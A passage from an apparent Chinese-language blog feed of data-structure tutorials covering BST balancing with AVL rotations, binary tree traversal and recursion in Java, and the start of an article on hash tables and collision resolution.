<span class="keyword">while</span> (node.left != <span class="literal">null</span>) node = node.left;</span><br><span class="line">    <span class="keyword">return</span> node;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、BST的问题-退化成链表"><a href="#三、BST的问题-退化成链表" class="headerlink" title="三、BST的问题 - 退化成链表"></a>三、BST的问题 - 退化成链表</h2><h3 id="3-1-最坏情况"><a href="#3-1-最坏情况" class="headerlink" title="3.1 最坏情况"></a>3.1 最坏情况</h3><p>按顺序插入 1, 2, 3, 4, 5：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1</span><br><span class="line"> \</span><br><span class="line">  2</span><br><span class="line">   \</span><br><span class="line">    3</span><br><span class="line">     \</span><br><span class="line">      4</span><br><span class="line">       \</span><br><span class="line">        5</span><br></pre></td></tr></table></figure><p>树高 = ( n )，查找退化为 ( O(n) )</p><h3 id="3-2-平均情况"><a href="#3-2-平均情况" class="headerlink" title="3.2 平均情况"></a>3.2 平均情况</h3><p>随机插入，期望树高 ( O(\log n) )</p><h2 id="四、平衡二叉树"><a href="#四、平衡二叉树" class="headerlink" title="四、平衡二叉树"></a>四、平衡二叉树</h2><h3 id="4-1-平衡因子"><a href="#4-1-平衡因子" class="headerlink" title="4.1 平衡因子"></a>4.1 平衡因子</h3><p>[ \text{平衡因子} = \text{左子树高度} - \text{右子树高度} ]</p><p>平衡二叉树要求：( |平衡因子| \leq 1 )</p><h3 id="4-2-为什么需要平衡"><a href="#4-2-为什么需要平衡" class="headerlink" title="4.2 为什么需要平衡"></a>4.2 为什么需要平衡</h3><p>保持树高 ( O(\log n) )，确保操作效率。</p><h2 id="五、AVL树"><a href="#五、AVL树" class="headerlink" title="五、AVL树"></a>五、AVL树</h2><h3 id="5-1-定义"><a href="#5-1-定义" class="headerlink" title="5.1 定义"></a>5.1 定义</h3><p>严格的平衡二叉树，任何节点的平衡因子绝对值不超过1。</p><h3 id="5-2-旋转操作"><a href="#5-2-旋转操作" class="headerlink" title="5.2 旋转操作"></a>5.2 旋转操作</h3><p><strong>左旋（右右情况）</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">  y              x</span><br><span class="line"> / \            / \</span><br><span class="line">T1  x    →     y  T3</span><br><span class="line">   / \        / \</span><br><span class="line">  T2 T3      T1 T2</span><br></pre></td></tr></table></figure><p><strong>右旋（左左情况）</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">    x           y</span><br><span class="line">   / \         / \</span><br><span class="line">  y  T3  →   T1  x</span><br><span class="line"> / \            / \</span><br><span class="line">T1 T2          T2 T3</span><br></pre></td></tr></table></figure><p><strong>左右旋（左右情况）</strong>：先左旋再右旋<br><strong>右左旋（右左情况）</strong>：先右旋再左旋</p><h3 id="5-3-旋转的Java实现"><a href="#5-3-旋转的Java实现" class="headerlink" title="5.3 旋转的Java实现"></a>5.3 旋转的Java实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 右旋</span></span><br><span class="line">TreeNode <span class="title function_">rightRotate</span><span class="params">(TreeNode y)</span> &#123;</span><br><span class="line">    <span class="type">TreeNode</span> <span class="variable">x</span> <span class="operator">=</span> y.left;</span><br><span class="line">    <span class="type">TreeNode</span> <span class="variable">T2</span> <span class="operator">=</span> x.right;</span><br><span class="line">    </span><br><span class="line">    x.right = y;</span><br><span class="line">    y.left = T2;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 更新高度</span></span><br><span class="line">    y.height = Math.max(height(y.left), height(y.right)) + <span class="number">1</span>;</span><br><span class="line">    x.height = Math.max(height(x.left), height(x.right)) + <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> x;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 左旋</span></span><br><span class="line">TreeNode <span class="title function_">leftRotate</span><span class="params">(TreeNode x)</span> &#123;</span><br><span class="line">    <span class="type">TreeNode</span> <span class="variable">y</span> <span class="operator">=</span> x.right;</span><br><span class="line">    <span class="type">TreeNode</span> <span class="variable">T2</span> <span class="operator">=</span> y.left;</span><br><span class="line">    </span><br><span class="line">    y.left = x;</span><br><span class="line">    x.right = T2;</span><br><span class="line">    </span><br><span class="line">    x.height = Math.max(height(x.left), height(x.right)) + <span class="number">1</span>;</span><br><span class="line">    y.height = Math.max(height(y.left), height(y.right)) + <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> y;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、Treap-树堆"><a href="#六、Treap-树堆" class="headerlink" title="六、Treap - 树堆"></a>六、Treap - 树堆</h2><h3 id="6-1-核心思想"><a href="#6-1-核心思想" class="headerlink" title="6.1 核心思想"></a>6.1 核心思想</h3><p>结合BST和堆：</p><ul><li><strong>键值</strong>满足BST性质</li><li><strong>优先级</strong>满足堆性质（随机生成）</li></ul><h3 id="6-2-期望树高"><a href="#6-2-期望树高" class="headerlink" title="6.2 期望树高"></a>6.2 期望树高</h3><p>由于优先级随机，期望树高 ( O(\log n) )。</p><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><table><thead><tr><th>特性</th><th>普通BST</th><th>AVL树</th></tr></thead><tbody><tr><td>查找</td><td>( O(h) )</td><td>( O(\log n) )</td></tr><tr><td>插入</td><td>( O(h) )</td><td>( O(\log n) )</td></tr><tr><td>删除</td><td>( O(h) )</td><td>( O(\log n) )</td></tr><tr><td>平衡维护</td><td>无</td><td>旋转</td></tr><tr><td>实现复杂度</td><td>简单</td><td>较复杂</td></tr><tr><td>适用场景</td><td>数据随机</td><td>频繁增删查</td></tr></tbody></table><p>BST的核心价值在于其有序性。理解平衡机制，才能在实际应用中选择或设计合适的数据结构。Java的<code>TreeMap</code>和<code>TreeSet</code>基于红黑树（另一种平衡树）实现。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 二叉树 </tag>
            
            <tag> BST </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>二叉树遍历与递归思想</title>
      <link href="//binary-tree-traversal/"/>
      <url>//binary-tree-traversal/</url>
      
        <content type="html"><![CDATA[<h2 id="一、二叉树基础"><a href="#一、二叉树基础" class="headerlink" title="一、二叉树基础"></a>一、二叉树基础</h2><h3 id="1-1-节点定义"><a href="#1-1-节点定义" class="headerlink" title="1.1 节点定义"></a>1.1 节点定义</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">TreeNode</span> &#123;</span><br><span class="line">    <span class="type">int</span> val;</span><br><span class="line">    TreeNode left;</span><br><span class="line">    TreeNode right;</span><br><span class="line">    TreeNode(<span class="type">int</span> x) &#123; val = x; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="1-2-二叉树类型"><a href="#1-2-二叉树类型" class="headerlink" title="1.2 二叉树类型"></a>1.2 二叉树类型</h3><table><thead><tr><th>类型</th><th>特性</th></tr></thead><tbody><tr><td>满二叉树</td><td>每个节点都有0或2个子节点</td></tr><tr><td>完全二叉树</td><td>除最后一层外全满，最后一层左连续</td></tr><tr><td>二叉搜索树</td><td>左 &lt; 根 &lt; 右</td></tr><tr><td>平衡二叉树</td><td>任意节点左右高度差 ≤ 1</td></tr></tbody></table><h3 id="1-3-基本性质"><a href="#1-3-基本性质" class="headerlink" title="1.3 基本性质"></a>1.3 基本性质</h3><ul><li>第 ( i ) 层最多 ( 2^{i-1} ) 个节点</li><li>深度为 ( k ) 的树最多 ( 2^k - 1 ) 个节点</li><li>叶子节点数 = 度为2的节点数 + 1</li></ul><h2 id="二、递归思想"><a href="#二、递归思想" class="headerlink" title="二、递归思想"></a>二、递归思想</h2><h3 id="2-1-递归三要素"><a href="#2-1-递归三要素" class="headerlink" title="2.1 递归三要素"></a>2.1 递归三要素</h3><ol><li><strong>终止条件</strong>：何时停止递归</li><li><strong>递归函数</strong>：递归要做什么</li><li><strong>递归公式</strong>：如何缩小问题规模</li></ol><h3 id="2-2-树问题的递归框架"><a href="#2-2-树问题的递归框架" class="headerlink" title="2.2 树问题的递归框架"></a>2.2 树问题的递归框架</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">traverse</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (root == <span class="literal">null</span>) <span class="keyword">return</span>;  <span class="comment">// 终止条件</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 前序位置：访问root</span></span><br><span class="line">    traverse(root.left);       <span class="comment">// 递归左子树</span></span><br><span class="line">    <span class="comment">// 中序位置</span></span><br><span class="line">    traverse(root.right);      <span class="comment">// 递归右子树</span></span><br><span class="line">    <span class="comment">// 后序位置</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、深度优先遍历-DFS"><a href="#三、深度优先遍历-DFS" class="headerlink" title="三、深度优先遍历(DFS)"></a>三、深度优先遍历(DFS)</h2><h3 id="3-1-前序遍历（根-左-右）"><a href="#3-1-前序遍历（根-左-右）" class="headerlink" title="3.1 前序遍历（根-左-右）"></a>3.1 前序遍历（根-左-右）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 递归</span></span><br><span class="line"><span class="keyword">public</span> List&lt;Integer&gt; <span class="title function_">preorder</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    List&lt;Integer&gt; res = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    helper(root, res);</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">helper</span><span class="params">(TreeNode node, List&lt;Integer&gt; res)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (node == <span class="literal">null</span>) <span class="keyword">return</span>;</span><br><span class="line">    res.add(node.val);           <span class="comment">// 访问根</span></span><br><span class="line">    helper(node.left, res);      <span class="comment">// 遍历左</span></span><br><span class="line">    helper(node.right, res);     <span class="comment">// 遍历右</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 迭代 - 使用栈</span></span><br><span class="line"><span class="keyword">public</span> List&lt;Integer&gt; <span class="title function_">preorderIterative</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    List&lt;Integer&gt; res = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    Deque&lt;TreeNode&gt; stack = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">if</span> (root != <span class="literal">null</span>) stack.push(root);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (!stack.isEmpty()) &#123;</span><br><span class="line">        <span class="type">TreeNode</span> <span class="variable">node</span> <span class="operator">=</span> stack.pop();</span><br><span class="line">        res.add(node.val);</span><br><span class="line">        <span class="keyword">if</span> (node.right != <span class="literal">null</span>) stack.push(node.right);</span><br><span class="line">        <span class="keyword">if</span> (node.left != <span class="literal">null</span>) stack.push(node.left);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-2-中序遍历（左-根-右）"><a href="#3-2-中序遍历（左-根-右）" class="headerlink" title="3.2 中序遍历（左-根-右）"></a>3.2 中序遍历（左-根-右）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 递归</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">inorder</span><span class="params">(TreeNode node, List&lt;Integer&gt; res)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (node == <span class="literal">null</span>) <span class="keyword">return</span>;</span><br><span class="line">    inorder(node.left, res);</span><br><span class="line">    res.add(node.val);</span><br><span class="line">    inorder(node.right, res);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 迭代</span></span><br><span class="line"><span class="keyword">public</span> List&lt;Integer&gt; <span class="title function_">inorderIterative</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    List&lt;Integer&gt; res = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    Deque&lt;TreeNode&gt; stack = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    <span class="type">TreeNode</span> <span class="variable">curr</span> <span class="operator">=</span> root;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (curr != <span class="literal">null</span> || !stack.isEmpty()) &#123;</span><br><span class="line">        <span class="keyword">while</span> (curr != <span class="literal">null</span>) &#123;</span><br><span class="line">            stack.push(curr);</span><br><span class="line">            curr = curr.left;</span><br><span class="line">        &#125;</span><br><span class="line">        curr = stack.pop();</span><br><span class="line">        res.add(curr.val);</span><br><span class="line">        curr = curr.right;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-后序遍历（左-右-根）"><a href="#3-3-后序遍历（左-右-根）" class="headerlink" title="3.3 后序遍历（左-右-根）"></a>3.3 后序遍历（左-右-根）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 递归</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">postorder</span><span class="params">(TreeNode node, List&lt;Integer&gt; res)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (node == <span class="literal">null</span>) <span class="keyword">return</span>;</span><br><span class="line">    postorder(node.left, res);</span><br><span class="line">    postorder(node.right, res);</span><br><span class="line">    res.add(node.val);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 迭代（双栈法）</span></span><br><span class="line"><span class="keyword">public</span> List&lt;Integer&gt; <span class="title function_">postorderIterative</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    List&lt;Integer&gt; res = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    Deque&lt;TreeNode&gt; stack1 = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    Deque&lt;TreeNode&gt; stack2 = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">if</span> (root != <span class="literal">null</span>) stack1.push(root);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (!stack1.isEmpty()) &#123;</span><br><span class="line">        <span class="type">TreeNode</span> <span class="variable">node</span> <span class="operator">=</span> stack1.pop();</span><br><span class="line">        stack2.push(node);</span><br><span class="line">        <span class="keyword">if</span> (node.left != <span class="literal">null</span>) stack1.push(node.left);</span><br><span class="line">        <span class="keyword">if</span> (node.right != <span class="literal">null</span>) stack1.push(node.right);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> (!stack2.isEmpty()) &#123;</span><br><span class="line">        res.add(stack2.pop().val);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、广度优先遍历-BFS"><a href="#四、广度优先遍历-BFS" class="headerlink" title="四、广度优先遍历(BFS)"></a>四、广度优先遍历(BFS)</h2><h3 id="4-1-层序遍历"><a href="#4-1-层序遍历" class="headerlink" title="4.1 层序遍历"></a>4.1 层序遍历</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> List&lt;List&lt;Integer&gt;&gt; <span class="title function_">levelOrder</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    List&lt;List&lt;Integer&gt;&gt; res = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">if</span> (root == <span class="literal">null</span>) <span class="keyword">return</span> res;</span><br><span class="line">    </span><br><span class="line">    Queue&lt;TreeNode&gt; queue = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;();</span><br><span class="line">    queue.offer(root);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (!queue.isEmpty()) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">size</span> <span class="operator">=</span> queue.size();</span><br><span class="line">        List&lt;Integer&gt; level = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; size; i++) &#123;</span><br><span class="line">            <span class="type">TreeNode</span> <span class="variable">node</span> <span class="operator">=</span> queue.poll();</span><br><span class="line">            level.add(node.val);</span><br><span class="line">            <span class="keyword">if</span> (node.left != <span class="literal">null</span>) queue.offer(node.left);</span><br><span class="line">            <span class="keyword">if</span> (node.right != <span class="literal">null</span>) queue.offer(node.right);</span><br><span class="line">        &#125;</span><br><span class="line">        res.add(level);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、Morris遍历（常数空间）"><a href="#五、Morris遍历（常数空间）" class="headerlink" title="五、Morris遍历（常数空间）"></a>五、Morris遍历（常数空间）</h2><h3 id="5-1-核心思想"><a href="#5-1-核心思想" class="headerlink" title="5.1 核心思想"></a>5.1 核心思想</h3><p>利用叶子节点的空指针，建立临时线索，实现 ( O(1) ) 空间遍历。</p><h3 id="5-2-Morris中序遍历"><a href="#5-2-Morris中序遍历" class="headerlink" title="5.2 Morris中序遍历"></a>5.2 Morris中序遍历</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> List&lt;Integer&gt; <span class="title function_">morrisInorder</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    List&lt;Integer&gt; res = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    <span class="type">TreeNode</span> <span class="variable">curr</span> <span class="operator">=</span> root;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (curr != <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (curr.left == <span class="literal">null</span>) &#123;</span><br><span class="line">            res.add(curr.val);</span><br><span class="line">            curr = curr.right;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="type">TreeNode</span> <span class="variable">predecessor</span> <span class="operator">=</span> curr.left;</span><br><span class="line">            <span class="keyword">while</span> (predecessor.right != <span class="literal">null</span> &amp;&amp; predecessor.right != curr) &#123;</span><br><span class="line">                predecessor = predecessor.right;</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (predecessor.right == <span class="literal">null</span>) &#123;</span><br><span class="line">                predecessor.right = curr;  <span class="comment">// 建立线索</span></span><br><span class="line">                curr = curr.left;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                predecessor.right = <span class="literal">null</span>;  <span class="comment">// 删除线索</span></span><br><span class="line">                res.add(curr.val);</span><br><span class="line">                curr = curr.right;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、遍历的应用"><a href="#六、遍历的应用" class="headerlink" title="六、遍历的应用"></a>六、遍历的应用</h2><h3 id="6-1-中序遍历恢复BST"><a href="#6-1-中序遍历恢复BST" class="headerlink" title="6.1 中序遍历恢复BST"></a>6.1 中序遍历恢复BST</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">TreeNode</span> <span class="variable">prev</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"><span class="type">TreeNode</span> <span class="variable">first</span> <span class="operator">=</span> <span class="literal">null</span>, second = <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">recoverBST</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    inorder(root);</span><br><span class="line">    swap(first, second);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">inorder</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (root == <span class="literal">null</span>) <span class="keyword">return</span>;</span><br><span class="line">    inorder(root.left);</span><br><span class="line">    <span class="keyword">if</span> (prev != <span class="literal">null</span> &amp;&amp; prev.val &gt; root.val) &#123;</span><br><span class="line">        <span class="keyword">if</span> (first == <span class="literal">null</span>) first = prev;</span><br><span class="line">        second = root;</span><br><span class="line">    &#125;</span><br><span class="line">    prev = root;</span><br><span class="line">    inorder(root.right);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="6-2-树的序列化与反序列化"><a href="#6-2-树的序列化与反序列化" class="headerlink" title="6.2 树的序列化与反序列化"></a>6.2 树的序列化与反序列化</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 前序序列化</span></span><br><span class="line">String <span class="title function_">serialize</span><span class="params">(TreeNode root)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (root == <span class="literal">null</span>) <span class="keyword">return</span> <span class="string">&quot;#,&quot;</span>;</span><br><span class="line">    <span class="keyword">return</span> root.val + <span class="string">&quot;,&quot;</span> + serialize(root.left) + serialize(root.right);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">TreeNode <span class="title function_">deserialize</span><span class="params">(String data)</span> &#123;</span><br><span class="line">    String[] nodes = data.split(<span class="string">&quot;,&quot;</span>);</span><br><span class="line">    Queue&lt;String&gt; queue = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;(Arrays.asList(nodes));</span><br><span class="line">    <span class="keyword">return</span> build(queue);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">TreeNode <span class="title function_">build</span><span class="params">(Queue&lt;String&gt; queue)</span> &#123;</span><br><span class="line">    <span class="type">String</span> <span class="variable">val</span> <span class="operator">=</span> queue.poll();</span><br><span class="line">    <span class="keyword">if</span> (<span class="string">&quot;#&quot;</span>.equals(val)) <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="type">TreeNode</span> <span class="variable">node</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TreeNode</span>(Integer.parseInt(val));</span><br><span class="line">    node.left = build(queue);</span><br><span class="line">    node.right = build(queue);</span><br><span class="line">    <span class="keyword">return</span> node;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="七、总结"><a href="#七、总结" class="headerlink" title="七、总结"></a>七、总结</h2><table><thead><tr><th>遍历方式</th><th>顺序</th><th>典型应用</th></tr></thead><tbody><tr><td>前序</td><td>根-左-右</td><td>复制树、序列化</td></tr><tr><td>中序</td><td>左-根-右</td><td>BST排序、恢复树</td></tr><tr><td>后序</td><td>左-右-根</td><td>计算高度、路径和</td></tr><tr><td>层序</td><td>按层</td><td>最短路径、连接节点</td></tr></tbody></table><p>递归是树问题的天然解法，理解递归框架的「前序/中序/后序位置」概念，能系统解决大部分树问题。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 二叉树 </tag>
            
            <tag> 递归 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>哈希表原理与冲突解决</title>
      <link href="//hash-table-principle/"/>
      <url>//hash-table-principle/</url>
      
        <content type="html"><![CDATA[<h2 id="一、哈希表概述"><a href="#一、哈希表概述" class="headerlink" title="一、哈希表概述"></a>一、哈希表概述</h2><h3 id="1-1-核心思想"><a href="#1-1-核心思想" class="headerlink" title="1.1 核心思想"></a>1.1 核心思想</h3><p>哈希表通过<strong>哈希函数</strong>将键映射到数组索引，实现平均 ( O(1) ) 的查找、插入和删除。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">键(key) → 哈希函数 → 索引(index) → 数组存储</span><br></pre></td></tr></table></figure><h3 id="1-2-理想情况"><a href="#1-2-理想情况" class="headerlink" title="1.2 理想情况"></a>1.2 理想情况</h3><p>[ \text{index} = hash(key) % \text{array.length} ]</p><h2 id="二、哈希函数"><a href="#二、哈希函数" class="headerlink" title="二、哈希函数"></a>二、哈希函数</h2><h3 id="2-1-好的哈希函数标准"><a href="#2-1-好的哈希函数标准" class="headerlink" title="2.1 好的哈希函数标准"></a>2.1 好的哈希函数标准</h3><ol><li><strong>确定性</strong>：相同输入得到相同输出</li><li><strong>均匀性</strong>：输出均匀分布，减少冲突</li><li><strong>高效性</strong>：计算速度快</li></ol><h3 id="2-2-Java-String的hashCode"><a href="#2-2-Java-String的hashCode" class="headerlink" title="2.2 Java String的hashCode"></a>2.2 Java String的hashCode</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">h</span> <span class="operator">=</span> hash;</span><br><span class="line">    <span class="keyword">if</span> (h == <span class="number">0</span> &amp;&amp; value.length &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; value.length; i++) &#123;</span><br><span class="line">            h = <span class="number">31</span> * h + value[i];  <span class="comment">// 31是质数，可被优化为位运算</span></span><br><span class="line">        &#125;</span><br><span class="line">        hash = h;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> h;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-哈希值转索引"><a href="#2-3-哈希值转索引" class="headerlink" title="2.3 哈希值转索引"></a>2.3 哈希值转索引</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Java 8之前</span></span><br><span class="line">index = (hashCode) % table.length;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Java 8优化：位运算替代取模（要求容量为2的幂）</span></span><br><span class="line">index = (table.length - <span class="number">1</span>) &amp; hash;</span><br></pre></td></tr></table></figure><h2 id="三、哈希冲突"><a href="#三、哈希冲突" class="headerlink" title="三、哈希冲突"></a>三、哈希冲突</h2><h3 id="3-1-什么是冲突"><a href="#3-1-什么是冲突" class="headerlink" title="3.1 什么是冲突"></a>3.1 什么是冲突</h3><p>不同键通过哈希函数得到相同索引：<br>[ hash(k_1) % m = hash(k_2) % m ]</p><h3 id="3-2-冲突解决方法"><a href="#3-2-冲突解决方法" class="headerlink" title="3.2 冲突解决方法"></a>3.2 冲突解决方法</h3><h4 id="链地址法-Separate-Chaining"><a href="#链地址法-Separate-Chaining" class="headerlink" title="链地址法(Separate Chaining)"></a>链地址法(Separate Chaining)</h4><p>每个桶是一个链表，冲突元素链入链表。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">索引:  [0]      [1]      [2]</span><br><span class="line">      +----+   +----+   +----+</span><br><span class="line">      |    |   | A  |--&gt;| A&#x27; |--&gt;null</span><br><span class="line">      |    |   +----+   +----+</span><br><span class="line">      |    |</span><br><span class="line">      +----+</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>实现简单</li><li>容量可以无限增长</li></ul><p><strong>缺点</strong>：</p><ul><li>冲突严重时退化为链表 ( O(n) )</li></ul><h4 id="开放寻址法-Open-Addressing"><a href="#开放寻址法-Open-Addressing" class="headerlink" title="开放寻址法(Open Addressing)"></a>开放寻址法(Open Addressing)</h4><p>冲突时探测下一个可用位置。</p><p><strong>线性探测</strong>：<br>[ h(k, i) = (hash(k) + i) % m ]</p><p><strong>二次探测</strong>：<br>[ h(k, i) = (hash(k) + c_1 i + c_2 i^2) % m ]</p><p><strong>双重哈希</strong>：<br>[ h(k, i) = (hash_1(k) + i \cdot hash_2(k)) % m ]</p><p><strong>优点</strong>：</p><ul><li>缓存友好（数据连续）</li></ul><p><strong>缺点</strong>：</p><ul><li>删除复杂（需要标记删除）</li><li>聚集问题</li></ul><h2 id="四、Java-HashMap实现"><a href="#四、Java-HashMap实现" class="headerlink" title="四、Java HashMap实现"></a>四、Java HashMap实现</h2><h3 id="4-1-核心字段"><a href="#4-1-核心字段" class="headerlink" title="4.1 核心字段"></a>4.1 核心字段</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">transient</span> Node&lt;K,V&gt;[] table;     <span class="comment">// 哈希桶数组</span></span><br><span class="line"><span class="keyword">transient</span> <span class="type">int</span> size;               <span class="comment">// 键值对数量</span></span><br><span class="line"><span class="type">int</span> threshold;                    <span class="comment">// 扩容阈值 = capacity * loadFactor</span></span><br><span class="line"><span class="keyword">final</span> <span class="type">float</span> loadFactor;           <span class="comment">// 负载因子，默认0.75</span></span><br></pre></td></tr></table></figure><h3 id="4-2-节点结构"><a href="#4-2-节点结构" class="headerlink" title="4.2 节点结构"></a>4.2 节点结构</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Node</span>&lt;K,V&gt; <span class="keyword">implements</span> <span class="title class_">Map</span>.Entry&lt;K,V&gt; &#123;</span><br><span class="line">    <span class="keyword">final</span> <span class="type">int</span> hash;</span><br><span class="line">    <span class="keyword">final</span> K key;</span><br><span class="line">    V value;</span><br><span class="line">    Node&lt;K,V&gt; next;  <span class="comment">// 链表指针</span></span><br><span 